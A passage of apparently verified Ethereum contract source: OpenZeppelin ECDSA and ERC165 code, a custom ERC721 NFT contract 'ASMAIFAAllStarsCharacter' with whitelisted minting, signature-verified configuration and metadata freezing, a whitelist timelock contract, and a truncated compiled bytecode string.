hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import '@openzeppelin/contracts/utils/Counters.sol'; import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol'; import './WhitelistTimelock.sol'; contract ASMAIFAAllStarsCharacter is ERC721Enumerable, WhitelistTimelock { using ECDSA for bytes32; using Address for address; using Counters for Counters.Counter; Counters.Counter private _tokenIds; address private _signer; bool public isFreezeAllowed; mapping(uint256 => string) public tokenHashes; mapping(uint256 => bool) public isFrozen; mapping(uint256 => bool) public isConfigured; mapping(uint256 => bool) public reservedTokenIds; uint256[4] public specialTokenIds = [2384, 12384, 22384, 23840]; event Minted(address minter, address recipient, string hash, uint256 tokenId); event Configured(address minter, string hash, uint256 tokenId); event PermanentURI(string _value, uint256 indexed _id); event HashUpdated(string hash, uint256 tokenId); event FreezeAllowed(bool allowed); constructor(address signer) ERC721('ASMAIFAAllStarsCharacter', 'AIFACharacter') { require(signer != address(0), 'Signer should not be a zero address.'); _signer = signer; for (uint256 i = 0; i < specialTokenIds.length; i++) { reservedTokenIds[specialTokenIds[i]] = true; } } function _hash( string memory hash, uint256 reservedAt, uint256 expiryMillis, uint256 tokenId ) internal pure returns (bytes32) { return keccak256(abi.encode(tokenId, hash, reservedAt, expiryMillis)); } function _verify(bytes32 hash, bytes memory token) internal view returns (bool) { return (_recover(hash, token) == _signer); } function _recover(bytes32 hash, bytes memory token) internal pure returns (address) { return hash.toEthSignedMessageHash().recover(token); } function _nextItemId() internal returns (uint256) { while (reservedTokenIds[_tokenIds.current()]) { _tokenIds.increment(); } return _tokenIds.current(); } function mint(string[4] calldata hashes, address recipient) external onlyWhitelisted { for (uint256 i = 0; i < hashes.length; i++) { uint256 newItemId = _nextItemId(); _safeMint(recipient, newItemId); _tokenIds.increment(); tokenHashes[newItemId] = hashes[i]; emit Minted(msg.sender, recipient, hashes[i], newItemId); } } function mintSpecial(string[4] calldata hashes, address recipient) external onlyWhitelisted { for (uint256 i = 0; i < hashes.length; i++) { uint256 newItemId = specialTokenIds[i]; _safeMint(recipient, newItemId); tokenHashes[newItemId] = hashes[i]; emit Minted(msg.sender, recipient, hashes[i], newItemId); } } function freeze(uint256 tokenId) external { require(isFreezeAllowed, 'Freezing is not allowed for now.'); require(ownerOf(tokenId) == msg.sender, 'Permission denied.'); isFrozen[tokenId] = true; // https://docs.opensea.io/docs/metadata-standards#section-freezing-metadata // indicate to OpenSea that metadata is no longer changeable by anyone emit PermanentURI(tokenURI(tokenId), tokenId); } function configure( string calldata hash, bytes calldata signature, uint256 reservedAt, uint256 expiryMillis, uint256 tokenId ) external { require(ownerOf(tokenId) == msg.sender, 'Permission denied.'); require( block.timestamp * 1000 <= reservedAt + expiryMillis, 'Configuration expired.' ); require(!isFrozen[tokenId], 'Character is fronzen.'); require(!isConfigured[tokenId], 'Character can only be configured once.'); require( _verify(_hash(hash, reservedAt, expiryMillis, tokenId), signature), 'Invalid signature.' ); tokenHashes[tokenId] = hash; isConfigured[tokenId] = true; emit Configured(msg.sender, hash, tokenId); } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), 'URI query for nonexistent token'); string memory hash = tokenHashes[tokenId]; return bytes(hash).length > 0 ? string(abi.encodePacked('ipfs://', hash)) : ''; } function updateHash(string calldata hash, uint256 tokenId) external onlyWhitelisted { require( getApproved(tokenId) == msg.sender || isApprovedForAll(ownerOf(tokenId), msg.sender), 'The operator must be approved by token owner.' ); tokenHashes[tokenId] = hash; emit HashUpdated(hash, tokenId); } function setFreezeAllowed(bool allowed) external onlyWhitelisted { isFreezeAllowed = allowed; emit FreezeAllowed(allowed); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import '@openzeppelin/contracts/access/Ownable.sol'; contract WhitelistTimelock is Ownable { mapping(address => uint256) public whitelistTimelock; uint256 public constant MIN_LOCK_DURATION = 1 days; uint256 public lockDuration = 1 days; event AddedToWhitelist(address indexed account); event RemovedFromWhitelist(address indexed account); event LockDurationUpdated(uint256 duration); modifier onlyWhitelisted() { require( isWhitelisted(msg.sender), 'Address not whitelisted or in lock-up period.' ); _; } function addToWhitelist(address _address) public onlyOwner { whitelistTimelock[_address] = block.timestamp + lockDuration; emit AddedToWhitelist(_address); } function removeFromWhitelist(address _address) public onlyOwner { whitelistTimelock[_address] = 0; emit RemovedFromWhitelist(_address); } function updateLockDuration(uint256 duration) public onlyOwner { require( duration >= MIN_LOCK_DURATION, 'Duration should be longer than MIN_LOCK_DURATION.' ); lockDuration = duration; emit LockDurationUpdated(duration); } function isWhitelisted(address _address) public view returns (bool) { return whitelistTimelock[_address] > 0 && block.timestamp >= whitelistTimelock[_address]; } }
0x608060405234801561001057600080fd5b50600436106102325760003560e01c806378b4330f11610130578063b69c469c116100b8578063d477edf41161007c578063d477edf4146104f1578063d7a78db814610504578063e43252d714610517578063e985e9c51461052a578063f2fde38b1461053d57600080fd5b8063b69c469c14610482578063b88d4fde14610495578063bd47c01c146104a8578063c510068c146104cb578063c87b56dd146104de57600080fd5b80638da5cb5b116100ff5780638da5cb5b14610420578063928869871461043157806395d89b4114610444578063a08947991461044c578063a22cb4651461046f57600080fd5b806378b4330f146103dd5780637a1a162b146103e757806385699a2b146103fa5780638ab1d6811461040d57600080fd5b80632f745c59116101be5780636352211e116101825780636352211e146103885780636af756781461039b57806370a08231146103af578063715018a6146103c25780637432a384146103ca57600080fd5b80632f745c59146103195780633af32abf1461032c57806342842e0e1461033f5780634f6ccce714610352578063594d04dc1461036557600080fd5b8063081812fc11610205578063081812fc146102a0578063095ea7b3146102cb57806318160ddd146102de57806323b872dd146102e657806323fdc327146102f957600080fd5b806301ffc9a714610237578063045544431461025f578063059d45ff1461027657806306fdde031461028b575b600080fd5b61024a610245366004612886565b610550565b60405190151581526020015b60405180910390f35b610268600c5481565b604051908152602001610256565b610289610284366004612833565b61057b565b005b6102936106a8565b6040516102569190612afe565b6102b36102ae36600461298c565b61073a565b6040516001600160a01b039091168152602001610256565b6102896102d936600461280a565b6107cf565b600854610268565b6102896102f43660046126d1565b6108e0565b610268610307366004612685565b600b6020526000908152604090205481565b61026861032736600461280a565b610911565b61024a61033a366004612685565b6109a7565b61028961034d3660046126d1565b6109e8565b61026861036036600461298c565b610a03565b61024a61037336600461298c565b60126020526000908152604090205460ff1681565b6102b361039636600461298c565b610aa4565b600e5461024a90600160a01b900460ff1681565b6102686103bd366004612685565b610b1b565b610289610ba2565b6102936103d836600461298c565b610bd8565b6102686201518081565b6102896103f5366004612833565b610c72565b6102896104083660046128be565b610d9e565b61028961041b366004612685565b611053565b600a546001600160a01b03166102b3565b61028961043f36600461286c565b6110c1565b61029361113e565b61024a61045a36600461298c565b60106020526000908152604090205460ff1681565b61028961047d3660046127e1565b61114d565b610289610490366004612942565b61115c565b6102896104a336600461270c565b611269565b61024a6104b636600461298c565b60116020526000908152604090205460ff1681565b6102686104d936600461298c565b6112a1565b6102936104ec36600461298c565b6112b8565b6102896104ff36600461298c565b6113fe565b61028961051236600461298c565b6114ca565b610289610525366004612685565b6115d4565b61024a61053836600461269f565b611652565b61028961054b366004612685565b611680565b60006001600160e01b0319821663780e9d6360e01b148061057557506105758261171b565b92915050565b610584336109a7565b6105a95760405162461bcd60e51b81526004016105a090612be9565b60405180910390fd5b60005b60048110156106a35760006105bf61176b565b90506105cb83826117ae565b6105d9600d80546001019055565b8382600481106105f957634e487b7160e01b600052603260045260246000fd5b6020028101906106099190612c62565b6000838152600f60205260409020610622929091612580565b507f25dd1b8fce65689a9addc4d9eb034856fc547999738b1d226968b4d9bd4a9503338486856004811061066657634e487b7160e01b600052603260045260246000fd5b6020028101906106769190612c62565b85604051610688959493929190612a28565b60405180910390a1508061069b81612d5c565b9150506105ac565b505050565b6060600080546106b790612d21565b80601f01602080910402602001604051908101604052809291908181526020018280546106e390612d21565b80156107305780601f1061070557610100808354040283529160200191610730565b820191906000526020600020905b81548152906001019060200180831161071357829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107b35760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016105a0565b506000908152600460205260409020546001600160a01b031690565b60006107da82610aa4565b9050806001600160a01b0316836001600160a01b031614156108485760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016105a0565b336001600160a01b038216148061086457506108648133611652565b6108d65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016105a0565b6106a383836117c8565b6108ea3382611836565b6109065760405162461bcd60e51b81526004016105a090612b98565b6106a383838361190d565b600061091c83610b1b565b821061097e5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016105a0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6001600160a01b0381166000908152600b6020526040812054158015906105755750506001600160a01b03166000908152600b602052604090205442101590565b6106a383838360405180602001604052806000815250611269565b6000610a0e60085490565b8210610a715760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016105a0565b60088281548110610a9257634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b0316806105755760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016105a0565b60006001600160a01b038216610b865760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016105a0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610bcc5760405162461bcd60e51b81526004016105a090612b63565b610bd66000611ab8565b565b600f6020526000908152604090208054610bf190612d21565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1d90612d21565b8015610c6a5780601f10610c3f57610100808354040283529160200191610c6a565b820191906000526020600020905b815481529060010190602001808311610c4d57829003601f168201915b505050505081565b610c7b336109a7565b610c975760405162461bcd60e51b81526004016105a090612be9565b60005b60048110156106a357600060138260048110610cc657634e487b7160e01b600052603260045260246000fd5b01549050610cd483826117ae565b838260048110610cf457634e487b7160e01b600052603260045260246000fd5b602002810190610d049190612c62565b6000838152600f60205260409020610d1d929091612580565b507f25dd1b8fce65689a9addc4d9eb034856fc547999738b1d226968b4d9bd4a95033384868560048110610d6157634e487b7160e01b600052603260045260246000fd5b602002810190610d719190612c62565b85604051610d83959493929190612a28565b60405180910390a15080610d9681612d5c565b915050610c9a565b33610da882610aa4565b6001600160a01b031614610df35760405162461bcd60e51b81526020600482015260126024820152712832b936b4b9b9b4b7b7103232b734b2b21760711b60448201526064016105a0565b610dfd8284612ca7565b610e09426103e8612cbf565b1115610e505760405162461bcd60e51b815260206004820152601660248201527521b7b73334b3bab930ba34b7b71032bc3834b932b21760511b60448201526064016105a0565b60008181526010602052604090205460ff1615610ea75760405162461bcd60e51b815260206004820152601560248201527421b430b930b1ba32b91034b990333937b73d32b71760591b60448201526064016105a0565b60008181526011602052604090205460ff1615610f155760405162461bcd60e51b815260206004820152602660248201527f4368617261637465722063616e206f6e6c7920626520636f6e666967757265646044820152651037b731b29760d11b60648201526084016105a0565b610f98610f5c88888080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250889250879150869050611b0a565b86868080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611b4392505050565b610fd95760405162461bcd60e51b815260206004820152601260248201527124b73b30b634b21039b4b3b730ba3ab9329760711b60448201526064016105a0565b6000818152600f60205260409020610ff2908888612580565b5060008181526011602052604090819020805460ff19166001179055517fc1234071e3275d71aaa3a0813dfbb237c622d56b58debf6fd9d36a999dade20f906110429033908a908a908690612aa4565b60405180910390a150505050505050565b600a546001600160a01b0316331461107d5760405162461bcd60e51b81526004016105a090612b63565b6001600160a01b0381166000818152600b6020526040808220829055517fcdd2e9b91a56913d370075169cefa1602ba36be5301664f752192bb1709df7579190a250565b6110ca336109a7565b6110e65760405162461bcd60e51b81526004016105a090612be9565b600e8054821515600160a01b0260ff60a01b199091161790556040517ff5835b284a3553892288599c3d76b94e26c60ab17f99f2182a05fae233f864629061113390831515815260200190565b60405180910390a150565b6060600180546106b790612d21565b611158338383611b6d565b5050565b611165336109a7565b6111815760405162461bcd60e51b81526004016105a090612be9565b3361118b8261073a565b6001600160a01b031614806111ad57506111ad6111a782610aa4565b33611652565b61120f5760405162461bcd60e51b815260206004820152602d60248201527f546865206f70657261746f72206d75737420626520617070726f76656420627960448201526c103a37b5b2b71037bbb732b91760991b60648201526084016105a0565b6000818152600f60205260409020611228908484612580565b507fb6262173515728cca01a982d94adaae414e1a56c357a328c08b7c05c26e7cdc483838360405161125c93929190612ada565b60405180910390a1505050565b6112733383611836565b61128f5760405162461bcd60e51b81526004016105a090612b98565b61129b84848484611c3c565b50505050565b601381600481106112b157600080fd5b0154905081565b6000818152600260205260409020546060906001600160a01b031661131f5760405162461bcd60e51b815260206004820152601f60248201527f55524920717565727920666f72206e6f6e6578697374656e7420746f6b656e0060448201526064016105a0565b6000828152600f60205260408120805461133890612d21565b80601f016020809104026020016040519081016040528092919081815260200182805461136490612d21565b80156113b15780601f10611386576101008083540402835291602001916113b1565b820191906000526020600020905b81548152906001019060200180831161139457829003601f168201915b5050505050905060008151116113d657604051806020016040528060008152506113f7565b806040516020016113e791906129f9565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146114285760405162461bcd60e51b81526004016105a090612b63565b620151808110156114955760405162461bcd60e51b815260206004820152603160248201527f4475726174696f6e2073686f756c64206265206c6f6e676572207468616e204d60448201527024a72fa627a1a5afa22aa920aa24a7a71760791b60648201526084016105a0565b600c8190556040518181527f3e062f634a950eae456fa5f8fb53a4f59f55039983bd73df7a34a313b75443d490602001611133565b600e54600160a01b900460ff166115235760405162461bcd60e51b815260206004820181905260248201527f467265657a696e67206973206e6f7420616c6c6f77656420666f72206e6f772e60448201526064016105a0565b3361152d82610aa4565b6001600160a01b0316146115785760405162461bcd60e51b81526020600482015260126024820152712832b936b4b9b9b4b7b7103232b734b2b21760711b60448201526064016105a0565b6000818152601060205260409020805460ff19166001179055807fa109ba539900bf1b633f956d63c96fc89b814c7287f7aa50a9216d0b556572076115bc826112b8565b6040516115c99190612afe565b60405180910390a250565b600a546001600160a01b031633146115fe5760405162461bcd60e51b81526004016105a090612b63565b600c5461160b9042612ca7565b6001600160a01b0382166000818152600b602052604080822093909355915190917fa850ae9193f515cbae8d35e8925bd2be26627fc91bce650b8652ed254e9cab0391a250565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b600a546001600160a01b031633146116aa5760405162461bcd60e51b81526004016105a090612b63565b6001600160a01b03811661170f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a0565b61171881611ab8565b50565b60006001600160e01b031982166380ac58cd60e01b148061174c57506001600160e01b03198216635b5e139f60e01b145b8061057557506301ffc9a760e01b6001600160e01b0319831614610575565b60005b6012600061177b600d5490565b815260208101919091526040016000205460ff16156117a7576117a2600d80546001019055565b61176e565b50600d5490565b611158828260405180602001604052806000815250611c6f565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906117fd82610aa4565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166118af5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016105a0565b60006118ba83610aa4565b9050806001600160a01b0316846001600160a01b031614806118f55750836001600160a01b03166118ea8461073a565b6001600160a01b0316145b8061190557506119058185611652565b949350505050565b826001600160a01b031661192082610aa4565b6001600160a01b0316146119885760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016105a0565b6001600160a01b0382166119ea5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016105a0565b6119f5838383611ca2565b611a006000826117c8565b6001600160a01b0383166000908152600360205260408120805460019290611a29908490612cde565b90915550506001600160a01b0382166000908152600360205260408120805460019290611a57908490612ca7565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081858585604051602001611b239493929190612c36565b604051602081830303815290604052805190602001209050949350505050565b600e546000906001600160a01b0316611b5c8484611d5a565b6001600160a01b0316149392505050565b816001600160a01b0316836001600160a01b03161415611bcf5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016105a0565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611c4784848461190d565b611c5384848484611dbd565b61129b5760405162461bcd60e51b81526004016105a090612b11565b611c798383611ec7565b611c866000848484611dbd565b6106a35760405162461bcd60e51b81526004016105a090612b11565b6001600160a01b038316611cfd57611cf881600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611d20565b816001600160a01b0316836001600160a01b031614611d2057611d208382612015565b6001600160a01b038216611d37576106a3816120b2565b826001600160a01b0316826001600160a01b0316146106a3576106a3828261218b565b60006113f782611db7856040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b906121cf565b60006001600160a01b0384163b15611ebf57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611e01903390899088908890600401612a67565b602060405180830381600087803b158015611e1b57600080fd5b505af1925050508015611e4b575060408051601f3d908101601f19168201909252611e48918101906128a2565b60015b611ea5573d808015611e79576040519150601f19603f3d011682016040523d82523d6000602084013e611e7e565b606091505b508051611e9d5760405162461bcd60e51b81526004016105a090612b11565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611905565b506001611905565b6001600160a01b038216611f1d5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016105a0565b6000818152600260205260409020546001600160a01b031615611f825760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016105a0565b611f8e60008383611ca2565b6001600160a01b0382166000908152600360205260408120805460019290611fb7908490612ca7565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000600161202284610b1b565b61202c9190612cde565b60008381526007602052604090205490915080821461207f576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906120c490600190612cde565b600083815260096020526040812054600880549394509092849081106120fa57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061212957634e487b7160e01b600052603260045260246000fd5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061216f57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061219683610b1b565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b60008060006121de85856121f3565b915091506121eb81612263565b509392505050565b60008082516041141561222a5760208301516040840151606085015160001a61221e87828585612464565b9450945050505061225c565b8251604014156122545760208301516040840151612249868383612551565b93509350505061225c565b506000905060025b9250929050565b600081600481111561228557634e487b7160e01b600052602160045260246000fd5b141561228e5750565b60018160048111156122b057634e487b7160e01b600052602160045260246000fd5b14156122fe5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016105a0565b600281600481111561232057634e487b7160e01b600052602160045260246000fd5b141561236e5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016105a0565b600381600481111561239057634e487b7160e01b600052602160045260246000fd5b14156123e95760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b60648201526084016105a0565b600481600481111561240b57634e487b7160e01b600052602160045260246000fd5b14156117185760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b60648201526084016105a0565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561249b5750600090506003612548565b8460ff16601b141580156124b357508460ff16601c14155b156124c45750600090506004612548565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015612518573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661254157600060019250925050612548565b9150600090505b94509492505050565b6000806001600160ff1b03831660ff84901c601b0161257287828885612464565b935093505050935093915050565b82805461258c90612d21565b90600052602060002090601f0160209004810192826125ae57600085556125f4565b82601f106125c75782800160ff198235161785556125f4565b828001600101855582156125f4579182015b828111156125f45782358255916020019190600101906125d9565b50612600929150612604565b5090565b5b808211156126005760008155600101612605565b80356001600160a01b038116811461263057600080fd5b919050565b8035801515811461263057600080fd5b60008083601f840112612656578182fd5b50813567ffffffffffffffff81111561266d578182fd5b60208301915083602082850101111561225c57600080fd5b600060208284031215612696578081fd5b6113f782612619565b600080604083850312156126b1578081fd5b6126ba83612619565b91506126c860208401612619565b90509250929050565b6000806000606084860312156126e5578081fd5b6126ee84612619565b92506126fc60208501612619565b9150604084013590509250925092565b60008060008060808587031215612721578081fd5b61272a85612619565b935061273860208601612619565b925060408501359150606085013567ffffffffffffffff8082111561275b578283fd5b818701915087601f83011261276e578283fd5b81358181111561278057612780612d8d565b604051601f8201601f19908116603f011681019083821181831017156127a8576127a8612d8d565b816040528281528a60208487010111156127c0578586fd5b82602086016020830137918201602001949094529598949750929550505050565b600080604083850312156127f3578182fd5b6127fc83612619565b91506126c860208401612635565b6000806040838503121561281c578182fd5b61282583612619565b946020939093013593505050565b60008060408385031215612845578182fd5b823567ffffffffffffffff81111561285b578283fd5b8301608081018510156126ba578283fd5b60006020828403121561287d578081fd5b6113f782612635565b600060208284031215612897578081fd5b81356113f781612da3565b6000602082840312156128b3578081fd5b81516113f781612da3565b600080600080600080600060a0888a0312156128d8578283fd5b873567ffffffffffffffff808211156128ef578485fd5b6128fb8b838c01612645565b909950975060208a0135915080821115612913578485fd5b506129208a828b01612645565b989b979a50986040810135976060820135975060809091013595509350505050565b600080600060408486031215612956578283fd5b833567ffffffffffffffff81111561296c578384fd5b61297886828701612645565b909790965060209590950135949350505050565b60006020828403121561299d578081fd5b5035919050565b600081518084526129bc816020860160208601612cf5565b601f01601f19169290920160200192915050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b66697066733a2f2f60c81b815260008251612a1b816007850160208701612cf5565b9190910160070192915050565b6001600160a01b03868116825285166020820152608060408201819052600090612a5590830185876129d0565b90508260608301529695505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612a9a908301846129a4565b9695505050505050565b6001600160a01b0385168152606060208201819052600090612ac990830185876129d0565b905082604083015295945050505050565b604081526000612aee6040830185876129d0565b9050826020830152949350505050565b6020815260006113f760208301846129a4565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602d908201527f41646472657373206e6f742077686974656c6973746564206f7220696e206c6f60408201526c31b596bab8103832b934b7b21760991b606082015260800190565b848152608060208201526000612c4f60808301866129a4565b6040830194909452506060015292915050565b6000808335601e19843603018112612c78578283fd5b83018035915067ffffffffffffffff821115612c92578283fd5b60200191503681900382131561225c57600080fd5b60008219821115612cba57612cba612d77565b500190565b6000816000190483118215151615612cd957612cd9612d77565b500290565b600082821015612cf057612cf0612d77565b500390565b60005b83811015612d10578181015183820152602001612cf8565b8381111561129b5750506000910152565b600181811c90821680612d3557607f821691505b60208210811415612d5657634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612d7057612d70612d77565b5060010190565b63